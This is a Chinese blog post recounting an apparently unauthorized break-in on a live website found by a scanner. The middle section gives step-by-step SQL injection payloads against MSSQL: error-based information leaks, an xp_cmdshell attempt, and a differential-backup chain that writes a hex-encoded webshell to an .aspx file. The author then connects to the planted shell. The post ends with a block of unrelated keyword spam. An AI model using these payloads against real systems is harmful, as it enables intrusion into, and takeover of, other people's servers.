一次差异备份拿shell过程
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,0x00 前言扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。知识点科普:1. 目录浏览目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指"在没有默认文档的目录下,列出该目录下所有文件名及文件
千家信息网最后更新 2026年11月01日一次差异备份拿shell过程
0x00 前言
扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。
知识点科普:
1. 目录浏览
目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指"在没有默认文档的目录下,列出该目录下所有文件名及文件信息",如果站点存在这种错误配置,***者如果知道其中目录名,则可以查看到这些目录下的文件。
2.差异备份条件
- 站点绝对路径
- 具有路径写入权限
- 具备当前数据库权限
0x01 正文
站点配置不当,导致目录浏览,通过查看首页的源代码,翻到了几个目录
随便访问了一个,发现会报错,说明网站管理员并没有把错误信息屏蔽
还存在信息泄漏。。
但是通常目录下的文件是需要传递参数去执行的,我们并不知道参数名,所以并没办法利用
辗转后到前台登录界面查看
尝试了一下,发现密码处存在注入和弱口令admin,也就是可以用万能密码登录啦
本来想找一处文件上传,直接getshell,但是发现好像不存在,却发现了网站使用了kindeditor和网站绝对路径
那么前面登录口处存在注入,后台一般也有很多注入的啦,尝试找一下,如果有的话,配合绝对路径可以进行getshell
okok,发现注入啦,但到目前为止并不知道数据库是什么类型,一般aspx+mssql,由于前面发现是可以报错的,那么尝试使用mssql的报错方式
%' and 1=@@version --amssql数据库,查看一下当前的用户身份
%' and 1=user --adbo的权限并不是sa,尝试一下xp_cmdshell
%';exec('master..xp_cmdshell whoami') --a并没有开启xp_cmdshell,且dbo的权限是不足以开启xp_cmdshell的,那么只能尝试使用差异备份的方式来写入一个webshell
1. 获取当前数据库名称
%' and 1=db_name() --a2. 对当前数据库进行备份
%';backup database 数据库名称 to disk = '绝对路径' with init --a 如果成功备份,则网页返回%'的查询结果(因为是堆叠且后面语句的执行并不会有返回结果)
3.创建表格,并写入webshell
%';create table cmd(a image) --a%';insert into cmd(a) values (0xxxxx) --a //webshell的hex值可以用网上的工具,笔者用以前自己开发的小工具
4.进行第二次备份
%';backup log 数据库名称 to disk = '绝对路径\\abc.aspx'--这里我将webshell写入子目录中,因为有目录浏览,能确切看到文件是否产生
创建成功后,尝试连接
0x02 后续
- 如果能直接使用xp_cmdshell就尽量不要使用差异备份,因为会产生备份文件,如果数据库很大的话,会造成影响
- 有任何错误,请斧正
目录
数据
数据库
备份
文件
路径
尝试
浏览
权限
网站
差异
信息
名称
站点
错误
登录
成功
参数
密码
工具
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
互联网金融科技
蓝思科技飞鸽互联网
今日互联网科技
互联网科技垄断
未来的互联网科技
华中科技有哪些互联网大佬
中盈科技互联网信息有限公司
成都铂石互联网科技做什么的
知域互联网科技有限公司大骗子
互联网科技研发水平
国大互联网教育科技有限公司工作
科技类公司包括互联网吗
互联网科技快讯热点
工业互联网科技成果转化
互联网科技包装股份有限公司上市
中国互联网公司的科技投入
广州三三互联网科技有限公司
互联网的黑科技实验室
科技美学互联网 艺术
高科技和互联网的现代国家
互联网科技企业
互联网科技海报
互联网科技公司的优势
科技互联网项目
狮子座互联网科技
远信互联网科技
互联网科技缩写
深圳互联网科技怎么样
珠海东科互联网科技有限公司
数字科技和互联网金融哪个好